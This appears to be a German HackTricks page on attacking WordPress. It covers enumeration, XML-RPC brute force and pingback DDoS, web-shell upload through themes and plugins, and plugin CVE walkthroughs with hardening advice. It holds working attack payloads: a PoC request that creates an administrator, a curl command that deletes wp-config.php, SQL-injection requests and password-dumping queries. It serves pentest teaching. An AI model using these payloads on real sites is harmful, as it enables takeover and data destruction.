Wordpress
Reading time: 26 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
-
Hochgeladene Dateien landen unter:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Theme-Dateien befinden sich in /wp-content/themes/, daher wenn du etwas PHP des Themes änderst, um RCE zu erreichen, wirst du wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Bei Verwendung des Themes twentytwelve kannst du die 404.php Datei erreichen unter: /wp-content/themes/twentytwelve/404.php
-
Eine weitere nützliche URL könnte sein: /wp-content/themes/default/404.php
-
In wp-config.php findest du das root-Passwort der Datenbank.
-
Standard-Login-Pfade, die man prüfen sollte: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Haupt-WordPress-Dateien
index.php
license.txt
enthält nützliche Informationen wie die installierte WordPress-Version.wp-activate.php
wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Seite verwendet.- Login-Ordner (können umbenannt sein, um sie zu verbergen):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
ist eine Datei, die eine Funktion von WordPress darstellt, die es ermöglicht, Daten zu übertragen, wobei HTTP als Transportmechanismus und XML als Kodierungsmechanismus dient. Diese Art der Kommunikation wurde durch die WordPress REST API ersetzt.- Der Ordner
wp-content
ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert werden. wp-content/uploads/
ist das Verzeichnis, in dem alle auf die Plattform hochgeladenen Dateien gespeichert werden.wp-includes/
Dies ist das Verzeichnis, in dem Kern-Dateien gespeichert sind, wie Zertifikate, Schriftarten, JavaScript-Dateien und Widgets.wp-sitemap.xml
In WordPress-Versionen 5.5 und höher generiert WordPress eine sitemap XML-Datei mit allen öffentlichen Beiträgen sowie öffentlich abfragbaren Post-Typen und Taxonomien.
Post exploitation
- Die Datei
wp-config.php
enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie z. B. den Datenbanknamen, den Datenbank-Host, Benutzernamen und Passwort, Authentifizierungs-Keys und Salts sowie das Präfix der Datenbanktabellen. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlerbehebung hilfreich sein kann.
Benutzerberechtigungen
- Administrator
- Editor: Veröffentlicht und verwaltet eigene und fremde Beiträge
- Author: Veröffentlicht und verwaltet seine eigenen Beiträge
- Contributor: Verfasst und verwaltet seine Beiträge, kann sie aber nicht veröffentlichen
- Subscriber: Kann Beiträge anzeigen und sein Profil bearbeiten
Passive Enumeration
WordPress-Version herausfinden
Prüfe, ob du die Dateien /license.txt
oder /readme.html
finden kannst
Im Quellcode der Seite (Beispiel von https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS-Link-Dateien
- JavaScript-Dateien
Plugins abrufen
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Themes abrufen
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Versionen im Allgemeinen extrahieren
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Aktive Enumeration
Plugins und Themes
Du wirst wahrscheinlich nicht alle verfügbaren Plugins und Themes finden können. Um alle zu entdecken, musst du aktiv eine Liste von Plugins und Themes per Brute Force (hoffentlich gibt es automatisierte Tools, die diese Listen enthalten).
Benutzer
- ID Brute: Du erhältst gültige Benutzer eines WordPress-Systems, indem du Benutzer-IDs per Brute Forcing ermittelst:
curl -s -I -X GET http://blog.example.com/?author=1
Wenn die Antworten 200 oder 30X sind, bedeutet das, dass die id gültig ist. Wenn die Antwort 400 ist, dann ist die id ungültig.
- wp-json: Sie können auch versuchen, Informationen über die Benutzer zu erhalten, indem Sie abfragen:
curl http://blog.example.com/wp-json/wp/v2/users
Ein weiterer /wp-json/
endpoint, der einige Informationen über Benutzer preisgeben kann, ist:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Beachte, dass dieser Endpunkt nur Benutzer anzeigt, die einen Beitrag erstellt haben. Es werden nur Informationen über Benutzer bereitgestellt, die diese Funktion aktiviert haben.
Also beachte, dass /wp-json/wp/v2/pages IP-Adressen leak kann.
- Login username enumeration: Beim Login über
/wp-login.php
ist die Meldung unterschiedlich, je nachdem, ob der angegebene Benutzername existiert oder nicht.
XML-RPC
Wenn xml-rpc.php
aktiv ist, kannst du einen credentials brute-force durchführen oder es nutzen, um DoS-Angriffe gegen andere Ressourcen zu starten. (Du kannst diesen Prozess using this zum Beispiel automatisieren).
Um zu prüfen, ob es aktiv ist, versuche, auf /xmlrpc.php zuzugreifen und diese Anfrage zu senden:
Prüfen
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credentials Bruteforce
wp.getUserBlogs
, wp.getCategories
oder metaWeblog.getUsersBlogs
sind einige der Methoden, die verwendet werden können, um credentials zu brute-force. Wenn du eines davon findest, kannst du so etwas senden:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Die Meldung "Incorrect username or password" innerhalb einer 200-Antwort sollte erscheinen, wenn die Zugangsdaten nicht gültig sind.
Mit den korrekten Zugangsdaten können Sie eine Datei hochladen. In der Antwort erscheint der Pfad (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Also there is a faster way to brute-force credentials using system.multicall
as you can try several credentials on the same request:
.png)
Bypass 2FA
Diese Methode ist für Programme und nicht für Menschen gedacht und außerdem veraltet, daher unterstützt sie kein 2FA. Wenn du gültige creds hast, aber der Hauptzugang durch 2FA geschützt ist, kannst du xmlrpc.php möglicherweise missbrauchen, um dich mit diesen creds einzuloggen und 2FA zu umgehen. Beachte, dass du nicht alle Aktionen durchführen kannst, die über die Konsole möglich sind, aber du könntest trotzdem RCE erreichen, wie Ippsec erklärt in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
Wenn du die Methode pingback.ping in der Liste findest, kannst du Wordpress dazu bringen, eine beliebige Anfrage an einen beliebigen Host/Port zu senden.
Dies kann verwendet werden, um tausende Wordpress-Sites dazu zu bringen, eine einzige Adresse aufzurufen (wodurch dort ein DDoS ausgelöst wird), oder du kannst es nutzen, um Wordpress ein internes Netzwerk scannen zu lassen (du kannst jeden Port angeben).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Wenn du faultCode mit einem Wert größer als 0 (17) erhältst, bedeutet das, dass der Port offen ist.
Sieh dir die Verwendung von system.multicall
im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbraucht, um DDoS zu verursachen.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Diese Datei befindet sich normalerweise im Stammverzeichnis der Wordpress-Site: /wp-cron.php
Wenn auf diese Datei zugegriffen wird, wird eine "schwere" MySQL Query ausgeführt, daher kann sie von Angreifern verwendet werden, um einen DoS zu verursachen.
Außerdem wird standardmäßig die wp-cron.php
bei jedem Seitenaufruf ausgeführt (jedes Mal, wenn ein Client eine Wordpress-Seite anfordert), was auf stark frequentierten Seiten Probleme (DoS) verursachen kann.
Es wird empfohlen, Wp-Cron zu deaktivieren und stattdessen einen echten cronjob auf dem Host anzulegen, der die benötigten Aktionen in regelmäßigen Intervallen ausführt (ohne Probleme zu verursachen).
/wp-json/oembed/1.0/proxy - SSRF
Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net und die Worpress-Site könnte eine Anfrage an dich senden.
This is the response when it doesn't work:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Dieses Tool prüft, ob der methodName: pingback.ping und der Pfad /wp-json/oembed/1.0/proxy vorhanden sind; falls ja, versucht es, diese auszunutzen.
Automatische Tools
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Zugriff durch Überschreiben eines Bits
Mehr als ein echter Angriff ist das eher eine Kuriosität. In der CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man konnte man ein Bit in jeder wordpress-Datei umdrehen. Damit konnte man die Position 5389
der Datei /var/www/html/wp-includes/user.php
ändern, um die NOT (!
) Operation zu NOPen.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Ändern einer php-Datei des verwendeten Themes (admin-Zugangsdaten benötigt)
Design → Theme-Editor → 404-Template (rechts)
Ändere den Inhalt zu einer php shell:
Suche im Internet, wie du auf diese aktualisierte Seite zugreifen kannst. In diesem Fall musst du hier zugreifen: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Du kannst verwenden:
use exploit/unix/webapp/wp_admin_shell_upload
um eine Session zu bekommen.
Plugin RCE
PHP plugin
Es könnte möglich sein, .php Dateien als Plugin hochzuladen.
Erstelle deine php-Backdoor z.B. mit:
Dann füge ein neues Plugin hinzu:
Plugin hochladen und auf Install Now drücken:
Auf Procced klicken:
Wahrscheinlich passiert zunächst nichts, aber wenn du zu Media gehst, wirst du sehen, dass deine Shell hochgeladen wurde:
Rufe sie auf und du siehst die URL, um die reverse shell auszuführen:
Uploading and activating malicious plugin
Diese Methode beinhaltet die Installation eines bekannten, verwundbaren Plugins, das ausgenutzt werden kann, um eine Web-Shell zu erhalten. Dieser Vorgang wird über das WordPress-Dashboard wie folgt durchgeführt:
- Plugin Acquisition: Das Plugin wird von einer Quelle wie Exploit DB bezogen, zum Beispiel here.
- Plugin Installation:
- Navigiere im WordPress-Dashboard zu
Dashboard > Plugins > Upload Plugin
. - Lade die Zip-Datei des heruntergeladenen Plugins hoch.
- Plugin Activation: Nachdem das Plugin erfolgreich installiert wurde, muss es über das Dashboard aktiviert werden.
- Exploitation:
- Mit installiertem und aktiviertem Plugin "reflex-gallery" kann dieses ausgenutzt werden, da es als verwundbar bekannt ist.
- Das Metasploit-Framework bietet einen Exploit für diese Verwundbarkeit. Durch Laden des entsprechenden Moduls und Ausführen bestimmter Befehle kann eine meterpreter-Session etabliert werden, die unautorisierten Zugriff auf die Seite gewährt.
- Es sei darauf hingewiesen, dass dies nur eine von vielen Methoden ist, um eine WordPress-Seite auszunutzen.
Der Inhalt enthält bildliche Darstellungen der Schritte im WordPress-Dashboard zum Installieren und Aktivieren des Plugins. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Verwundbarkeiten auf diese Weise illegal und unethisch ist, wenn keine ausdrückliche Genehmigung vorliegt. Diese Informationen sollten verantwortungsbewusst und nur in einem legalen Kontext verwendet werden, z. B. bei autorisiertem pentesting.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike ist ein Script, das dazu entwickelt wurde, eine Cross-Site Scripting (XSS)-Verwundbarkeit zu einer Remote Code Execution (RCE) oder anderen kritischen Verwundbarkeiten in WordPress zu eskalieren. Für mehr Infos siehe this post. Es bietet Support für WordPress Versions 6.X.X, 5.X.X und 4.X.X und erlaubt:
- Privilege Escalation: Erstellt einen Benutzer in WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Lädt dein eigenes Plugin (Backdoor) in WordPress hoch.
- (RCE) Built-In Plugin Edit: Bearbeitet eingebaute Plugins in WordPress.
- (RCE) Built-In Theme Edit: Bearbeitet eingebaute Themes in WordPress.
- (Custom) Custom Exploits: Eigene Exploits für Drittanbieter-WordPress-Plugins/Themes.
Post Exploitation
Benutzernamen und Passwörter extrahieren:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Admin-Passwort ändern:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Angriffsfläche
Zu wissen, wie ein Wordpress-Plugin Funktionalität offenlegen kann, ist entscheidend, um Schwachstellen in dessen Funktionalität zu finden. Wie ein Plugin Funktionalität offenlegen könnte, finden Sie in den folgenden Aufzählungspunkten sowie einige Beispiele verwundbarer Plugins in this blog post.
wp_ajax
Eine der Möglichkeiten, wie ein Plugin Funktionen für Benutzer bereitstellen kann, ist über AJAX-Handler. Diese können Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Außerdem ist es ziemlich häufig, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress nonce stützen, das jeder authentifizierte Benutzer in der Wordpress-Instanz haben könnte (unabhängig von seiner Rolle).
Das sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin offenzulegen:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Die Verwendung von nopriv
macht den Endpunkt für alle Benutzer zugänglich (sogar für nicht authentifizierte Benutzer).
caution
Außerdem, wenn die Funktion die Autorisierung des Benutzers nur mit der Funktion wp_verify_nonce
prüft, überprüft diese Funktion lediglich, ob der Benutzer eingeloggt ist; sie prüft normalerweise nicht die Rolle des Benutzers. Daher könnten wenig privilegierte Benutzer Zugriff auf hoch privilegierte Aktionen haben.
- REST API
Es ist auch möglich, Funktionen aus wordpress offenzulegen, indem man eine rest AP mit der Funktion register_rest_route
registriert:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
Der permission_callback
ist eine Callback-Funktion, die prüft, ob ein bestimmter Benutzer berechtigt ist, die API-Methode aufzurufen.
Wenn die eingebaute Funktion __return_true
verwendet wird, wird die Überprüfung der Benutzerberechtigungen einfach übersprungen.
- Direkter Zugriff auf die PHP-Datei
Natürlich verwendet Wordpress PHP und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Wenn also ein Plugin eine verwundbare Funktionalität bereitstellt, die bereits durch den bloßen Zugriff auf die Datei ausgelöst wird, ist sie für jeden Benutzer ausnutzbar.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.
- Auswirkung: Nicht authentifizierte Privilegieneskalation zum Administrator durch das Erstellen eines neuen Administrators über die core users REST route.
- Beispiel-Header:
X-Wcpay-Platform-Checkout-User: 1
(erzwingt Benutzer-ID 1, typischerweise das erste Administrator-Konto). - Ausgenutzte Route:
POST /wp-json/wp/v2/users
mit einem elevated role array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Warum es funktioniert
- Das Plugin mappt einen vom Client kontrollierten Header auf den Authentifizierungsstatus und umgeht capability-Prüfungen.
- WordPress core erwartet die Capability
create_users
für diese Route; der Plugin-Hack umgeht dies, indem er den aktuellen Benutzerkontext direkt aus dem Header setzt.
Erwartete Erfolgsindikatoren
- HTTP 201 mit einem JSON-Body, der den erstellten Benutzer beschreibt.
- Ein neuer Admin-Benutzer sichtbar in
wp-admin/users.php
.
Checkliste zur Erkennung
- Grep nach
getallheaders()
,$_SERVER['HTTP_...']
oder Vendor-SDKs, die benutzerdefinierte Header lesen, um den Benutzerkontext zu setzen (z. B.wp_set_current_user()
,wp_set_auth_cookie()
). - Überprüfe REST-Registrierungen auf privilegierte Callbacks, die keine robusten
permission_callback
-Prüfungen haben und stattdessen auf Request-Headern basieren. - Suche nach Verwendungen von Core-User-Management-Funktionen (
wp_insert_user
,wp_create_user
) in REST-Handlern, die nur durch Header-Werte abgesichert sind.
Härtung
- Leite niemals Authentifizierung oder Autorisierung aus vom Client kontrollierten Headern ab.
- Wenn ein Reverse Proxy Identität injizieren muss, beende das Vertrauen beim Proxy und entferne eingehende Kopien (z. B.
unset X-Wcpay-Platform-Checkout-User
am Edge), übergib dann ein signiertes Token und verifiziere es serverseitig. - Für REST-Routen, die privilegierte Aktionen ausführen, fordere
current_user_can()
-Prüfungen und ein striktespermission_callback
(verwende NICHT__return_true
). - Bevorzuge First-Party-Auth (Cookies, application passwords, OAuth) gegenüber Header-“Impersonation”.
References: see the links at the end of this page for a public case and broader analysis.
Unauthentifizierte beliebige Dateilöschung über wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress-Themes und -Plugins stellen häufig AJAX-Handler über die Hooks wp_ajax_
und wp_ajax_nopriv_
bereit. Wenn die nopriv-Variante verwendet wird, ist der Callback für nicht authentifizierte Besucher erreichbar, daher muss jede sensible Aktion zusätzlich Folgendes implementieren:
- Eine capability-Prüfung (z. B.
current_user_can()
oder mindestensis_user_logged_in()
), und - Einen CSRF-Nonce, validiert mit
check_ajax_referer()
/wp_verify_nonce()
, und - Strikte Eingabe-Sanitierung / Validierung.
Das Litho-Multipurpose-Theme (< 3.1) hat diese drei Kontrollen in der Remove Font Family-Funktion vergessen und lieferte schließlich den folgenden Code (vereinfacht):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Probleme, die durch diesen Codeabschnitt entstehen:
- Nicht authentifizierter Zugriff – der
wp_ajax_nopriv_
Hook ist registriert. - Keine Nonce-/Capability-Prüfung – jeder Besucher kann den Endpoint aufrufen.
- Keine Pfad-Sanitierung – die vom Benutzer kontrollierte
fontfamily
-Zeichenkette wird ohne Filter an einen Dateisystempfad angehängt, was klassisches../../
Traversal ermöglicht.
Ausnutzung
Ein Angreifer kann jede Datei oder jedes Verzeichnis unterhalb des Uploads-Stammverzeichnisses (normalerweise <wp-root>/wp-content/uploads/
) durch das Senden einer einzigen HTTP-POST-Anfrage löschen:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Weil wp-config.php
außerhalb von uploads liegt, reichen auf einer Standardinstallation vier ../
-Sequenzen aus. Das Löschen von wp-config.php
zwingt WordPress beim nächsten Aufruf in den Installationsassistenten und ermöglicht eine vollständige Site-Übernahme (der Angreifer liefert einfach eine neue DB-Konfiguration und erstellt einen Admin-Benutzer).
Weitere wirkungsvolle Ziele sind plugin-/theme-.php
-Dateien (um Sicherheits-Plugins zu umgehen) oder .htaccess
-Regeln.
Checkliste zur Erkennung
- Jeder
add_action( 'wp_ajax_nopriv_...')
-Callback, der Dateisystem-Helper (copy()
,unlink()
,$wp_filesystem->delete()
, etc.) aufruft. - Verkettung unsanitierter Benutzereingaben in Pfade (suche nach
$_POST
,$_GET
,$_REQUEST
). - Fehlende Verwendung von
check_ajax_referer()
undcurrent_user_can()
/is_user_logged_in()
.
Härtung
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
tip
Behandle jede Schreib-/Löschoperation auf der Festplatte IMMER als privilegiert und überprüfe doppelt:
• Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via realpath()
plus str_starts_with()
).
Privilege escalation via veraltete Rollenwiederherstellung und fehlende Autorisierung (ASE "View Admin as Role")
Viele Plugins implementieren ein "view as role"- oder temporäres Role-Switching-Feature, indem sie die ursprünglichen Role(s) in user meta speichern, damit diese später wiederhergestellt werden können. Wenn der Wiederherstellungspfad allein auf request parameters (z. B. $_REQUEST['reset-for']
) und einer plugin-maintained list beruht, ohne capabilities und einen gültigen nonce zu prüfen, wird daraus eine vertical privilege escalation.
Ein reales Beispiel wurde im Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1) gefunden. Der reset-Zweig stellte Rollen anhand von reset-for=<username>
wieder her, falls der Username in einem internen Array $options['viewing_admin_as_role_are']
auftauchte, führte jedoch weder einen current_user_can()
-Check noch eine nonce-Verifikation durch, bevor die aktuellen Rollen entfernt und die aus user meta _asenha_view_admin_as_original_roles
gespeicherten Rollen wieder hinzugefügt wurden:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Why it’s exploitable
- Vertraut
$_REQUEST['reset-for']
und einer Plugin-Option ohne serverseitige Autorisierung. - Wenn ein Benutzer zuvor höhere Privilegien in
_asenha_view_admin_as_original_roles
gespeichert hatte und herabgestuft wurde, kann er diese wiederherstellen, indem er den Reset-Pfad aufruft. - In einigen Deployments könnte jeder authenticated user einen Reset für einen anderen Benutzernamen auslösen, der noch in
viewing_admin_as_role_are
vorhanden ist (fehlerhafte Autorisierung).
Attack prerequisites
- Verwundbare Plugin-Version mit aktiviertem Feature.
- Das Zielkonto hat eine veraltete, hochprivilegierte Rolle, die aus früherer Nutzung in user meta gespeichert ist.
- Beliebige authenticated session; fehlender nonce/capability im Reset-Flow.
Exploitation (example)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Auf anfälligen Builds entfernt dies die aktuellen Rollen und stellt die gespeicherten ursprünglichen Rollen (z. B. administrator
) wieder her, wodurch effektiv Privilegien eskaliert werden.
Checkliste zur Erkennung
- Suchen Sie nach Funktionen zum Rollenwechsel, die die “original roles” im Benutzer-Meta dauerhaft speichern (z. B.
_asenha_view_admin_as_original_roles
). - Identifizieren Sie Reset-/Wiederherstellungspfade, die:
- Lesen Benutzernamen aus
$_REQUEST
/$_GET
/$_POST
. - Ändern Rollen mittels
add_role()
/remove_role()
ohnecurrent_user_can()
undwp_verify_nonce()
/check_admin_referer()
. - Autorisieren basierend auf einem Plugin-Optionsarray (z. B.
viewing_admin_as_role_are
) statt auf den Fähigkeiten des Akteurs.
Härtung
- Erzwingen Sie Prüfungen der Berechtigungen in jedem zustandsverändernden Zweig (z. B.
current_user_can('manage_options')
oder strenger). - Erfordern Sie Nonces für alle Rollen-/Berechtigungsänderungen und verifizieren Sie diese:
check_admin_referer()
/wp_verify_nonce()
. - Vertrauen Sie niemals auf im Request übergebene Benutzernamen; bestimmen Sie den Zielbenutzer serverseitig basierend auf dem authentifizierten Akteur und einer expliziten Richtlinie.
- Ungültig machen des Zustands der “original roles” bei Profil-/Rollen-Updates, um die Wiederherstellung veralteter hoher Privilegien zu vermeiden:
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
- Erwäge, nur minimalen Zustand zu speichern und zeitlich begrenzte, durch Capabilities geschützte Tokens für temporäre Rollenwechsel zu verwenden.
WAF-Überlegungen für WordPress/plugin-CVEs
Generische Edge-/Server-WAFs sind auf breite Muster ausgerichtet (SQLi, XSS, LFI). Viele hochwirksame WordPress-/Plugin-Fehler sind anwendungsspezifische Logik- oder Authentifizierungsfehler, die wie harmloser Traffic aussehen, es sei denn, die Engine versteht WordPress-Routen und Plugin-Semantik.
Offensive Hinweise
- Ziele plugin-spezifische Endpunkte mit sauberen Payloads:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Teste zuerst unauthentifizierte Pfade (AJAX
nopriv
, REST mit permissiverpermission_callback
, öffentliche shortcodes). Standard-Payloads funktionieren oft ohne Verschleierung. - Typische Fälle mit hoher Auswirkung: Privilegieneskalation (fehlende Zugriffskontrolle), beliebiges Hoch-/Herunterladen von Dateien, LFI, Open Redirect.
Defensive Hinweise
- Verlasse dich nicht auf generische WAF-Signaturen zum Schutz vor Plugin-CVEs. Implementiere virtuelle Patches auf Anwendungsebene, die schwachstellenspezifisch sind, oder aktualisiere schnell.
- Bevorzuge Positive-Sicherheitsprüfungen im Code (Capabilities, Nonces, strenge Eingabevalidierung) statt negativer Regex-Filter.
WordPress-Schutz
Regelmäßige Updates
Stelle sicher, dass WordPress, Plugins und Themes aktuell sind. Bestätige außerdem, dass automatisches Aktualisieren in wp-config.php aktiviert ist:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Installiere außerdem nur vertrauenswürdige WordPress-Plugins und -Themes.
Sicherheits-Plugins
Weitere Empfehlungen
- Entferne den Standardbenutzer admin
- Verwende starke Passwörter und 2FA
- Überprüfe regelmäßig die Berechtigungen der Benutzer
- Beschränke Anmeldeversuche, um Brute Force attacks zu verhindern
- Benenne die Datei
wp-admin.php
um und erlaube Zugriff nur intern oder von bestimmten IP-Adressen.
Nicht authentifizierte SQL-Injection durch unzureichende Validierung (WP Job Portal <= 2.3.2)
Das WP Job Portal recruitment plugin stellte eine savecategory-Aufgabe bereit, die letztlich den folgenden verwundbaren Code in modules/category/model.php::validateFormData()
ausführt:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Probleme, die durch dieses Snippet eingeführt werden:
- Unsanitised user input –
parentid
kommt direkt aus der HTTP-Anfrage. - String concatenation inside the WHERE clause – keine
is_numeric()
/esc_sql()
/ prepared statement. - Unauthenticated reachability – obwohl die Aktion über
admin-post.php
ausgeführt wird, ist die einzige Prüfung ein CSRF nonce (wp_verify_nonce()
), den jeder Besucher von einer öffentlichen Seite, die den Shortcode[wpjobportal_my_resumes]
einbettet, abrufen kann.
Exploitation
- Grab a fresh nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Inject arbitrary SQL by abusing
parentid
:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
The response discloses the result of the injected query or alters the database, proving SQLi.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
